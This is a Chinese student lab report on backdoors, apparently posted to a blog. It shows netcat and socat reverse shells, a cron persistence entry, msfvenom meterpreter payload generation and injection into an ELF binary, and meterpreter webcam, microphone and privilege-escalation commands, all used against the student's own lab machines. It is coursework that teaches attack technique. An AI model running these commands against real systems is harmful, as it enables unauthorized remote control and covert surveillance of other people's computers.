20222401 2024-2025-1 《网络与系统攻防技术》实验二实验报告

1 实验内容

1.1 实践基本知识

1.1.1 后门

后门就是不经过正常认证流程而访问系统的通道。最早的后门并不是恶意的,而是开发人员为了便于在开发期间调试程序而设置的快捷路径。按照存在位置进行分类,可以分为以下4类:

  • 编译器后门
  • 操作系统后门
  • 应用程序后门
  • 伪装成正常程序的后门

1.1.2 后门技术类型

  • 管控功能实现技术
  • 自启动技术
  • 进程隐藏技术
  • 数据穿透与躲避技术

1.1.3 后门攻击的技术流程

  • 编写好后门程序
  • 入侵到目标主机
  • 利用免杀技术活下来
  • 然后执行操作达成目的

1.2 实践目标

  1. 使用netcat获取主机操作Shell,cron启动某项任务(任务自定),cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
  2. 使用socat获取主机操作Shell, 任务计划启动
  3. 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
  5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

1.3 实验要求

1.3.1 掌握后门原理及免杀技术

1.3.2 回答问题

Q:例举你能想到的一个后门进入到你系统中的可能方式?
A:首先有可能从编译器进入,我的电脑上有GCC编译器,而且下载的渠道也不是官方渠道。其次还有可能伪装成正常软件进入到系统。
Q:例举你知道的后门如何启动起来(win及linux)的方式?
A:在Windows系统下,有基于Windows启动目录的自启动,基于注册表的自启动,基于服务程序的自启动,基于ActiveX控件的自启动,基于计划任务的自启动。
在Linux系统下,有Cron(是Linux下的定时任务,可以设置定时运行)。
Q:Meterpreter有哪些给你映像深刻的功能?
A:让我印象最深的功能是远程控制,能够仅仅通过几行命令就能完成对远程主机的控制。
Q:如何发现自己有系统有没有被安装后门?
A:最简单的方式就是安装专业查杀软件,并且严格限制各类应用的权限。此外,也可以通过检查系统进程,注册表或者启动项来判断是否存在后门。在一些特殊情况下,可以查看系统日志,来查看是否存在异常行为。

2 实验过程

2.1 使用netcat获取主机操作Shell,cron启动某项任务

2.1.1 建立连接

首先,我们要确定Windows(以下简称Win主机)系统以及Linux(以下简称kali主机)的IP,这里需要注意,当主机连接的网络发生变化时,两台主机的IP一般都会变化,所以要注意修改,否则无法正常连接。
使用如下命令获取主机IP

ipconfig	//Windows命令
ifconfig	//Linux命令

image

image

然后,在Windows的shell界面输入如下命令

ncat.exe -l -p 2401 	//这里的端口号选择的是学号,要避开常用端口号

在kali的shell界面输入如下命令

nc 192.168.1.106 2401 -e /bin/sh	//建立反弹式连接(IP是Windows的)

然后输入ls就可以看到若干输出(这里的输出可多可少,而且也不一定一样,我做了两次,输出的内容也不尽相同)。

image

只要能够说明这些文件是来自kali的文件系统,就表明两台主机已经建立连接。

2.1.2 设置定时任务

接下来设置定时任务,在kali中输入下列命令

crontab -e

在文字编辑界面加入如下语句

20 * * * * /bin/netcat 192.168.1.106 2401 -e /bin/sh

然后输入下列命令查看一下时程表

crontab -l

会发现我们刚才加入的语句被输出出来了

image

我这里是做过一遍之后又做了一遍,所以输出结果不一样。

此时在/var/spool/cron/crontabs路径下可以看到root文件

image

然后Windows重新连接,输入whoami保证路径是root,然后输入如下命令

echo "* * * * * echo "20222401" > /home/kali/20222401.txt" > /var/spool/cron/crontabs/root

image

这里就已经覆盖成功了。

image

在kali的文件系统的相应路径中能看到刚才生成的文件。

2.2 使用socat获取主机操作Shell, 任务计划启动

2.1.1 编写启动程序

点击查看代码
#include <stdlib.h>
#include <stdio.h>
int main()
{
    const char *url = "https://wiki.pvz1.com/doku.php?id=%E6%94%BB%E7%95%A5:%E6%A4%8D%E7%89%A9%E5%A4%A7%E6%88%98%E5%83%B5%E5%B0%B8";
#ifdef _WIN32
    const char *command = "start \"\" \"%s\"";
#else
    const char *command = "xdg-open %s";
#endif
    char command_buffer[256];
    snprintf(command_buffer, sizeof(command_buffer), command, url);
    printf("Executing command: %s\n", command_buffer);
    int result = system(command_buffer);
    if (result == -1)
    {
        perror("system");
        return 1;
    }
    return 0;
}

这里的程序是要打开PVZ Wiki(一个国内的植物大战僵尸论坛网站),如下图
image

然后编译得到exe文件,这个就是待会我们要设置定时执行的文件。

在Windows的shell界面输入以下命令

socat.exe tcp-listen:2401 exec:cmd.exe,pty,stderr

在kali的shell界面中输入以下命令

socat - tcp:192.168.1.106:2401

输入chcp 65001解决乱码问题。

然后输入如下命令,创建定时计划

schtasks /create /sc minute /mo 1 /tn "20222401" /tr C:\Users\33207\Desktop\PVZ_Wiki.exe

image

然后就可以享受网页刷屏的快感了image

2.3 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

在kali主机的shell中输入以下命令,生成后门文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.50.244 LPORT=2401 -f exe > 20222401_backdoor.exe

在Windows主机的shell中输入以下命令

ncat.exe -l 2401 > 20222401_backdoor.exe

在kali中输入如下命令

nc 192.168.30.82 2401 < 20222401_backdoor.exe

然后我们就能发现后门文件也已经生成好了
image

然后在kali中输入以下命令,进行相关配置

msfconsole	//进入控制台
use exploit/multi/handler	//配置监听模块
set payload windows/meterpreter/reverse_tcp	//使用和生成后门程序时相同的payload
set LHOST 192.168.50.244	//使用kali的IP,需要和之前生成后门程序时设置的IP相同
set LPORT 2401	//设置端口,需要和之前生成后门程序时设置的端口相同

接下来打开后门文件,输入以下命令(Windows界面)

20222401_backdoor.exe

接下来在kali中输入exploit命令,然后输入ls
image

至此,后门安装成功。

2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

在kali输入如下命令

record_mic	//获取音频
screenshot	//获取截屏
webcam_snap	//获取拍照

继续输入命令

getuid	//查看当前用户
getsystem	//提权指令

image

image

image

2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

在kali的shell界面中输入以下命令

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.50.244 LPORT=2401 -x /home/kali/桌面/pwn -f elf > pwn20222401
chmod a+x pwn20222401
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.50.244
set LPORT 2401
exploit

然后再开一个终端,然后运行pwn20222401

image

至此,成功实现远程控制shell。

3 问题及解决方案

  • 问题1:汉字乱码解决
  • 问题1解决方案:chcp 65001,由于中文版Windows含有汉字,所以需要输入这行命令,来保证特殊编码能够正常显示。
  • 问题2:注入失败(最后一步连接不上)
  • 问题2解决方案:需要重新下载回实验一的文件,然后找对路径(我第一遍做的时候路径写错了一个字母,导致反复注入不成功),就能正常显示。

4 学习感悟、思考等

这一次实验主要掌握的是后门的相关攻击操作。在实验中,我学习使用netcat获取主机操作Shell,cron启动某项任务,使用MSF meterpreter生成可执行文件,使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权以及使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
这次实验也让我的安全意识也有了提升,以后下载软件都要尽可能选择来源可靠的路径,并且来历不明的文件不要点击。

参考资料

posted @ 2024-10-21 22:56  _兰草一枚  阅读(10)  评论(0编辑  收藏  举报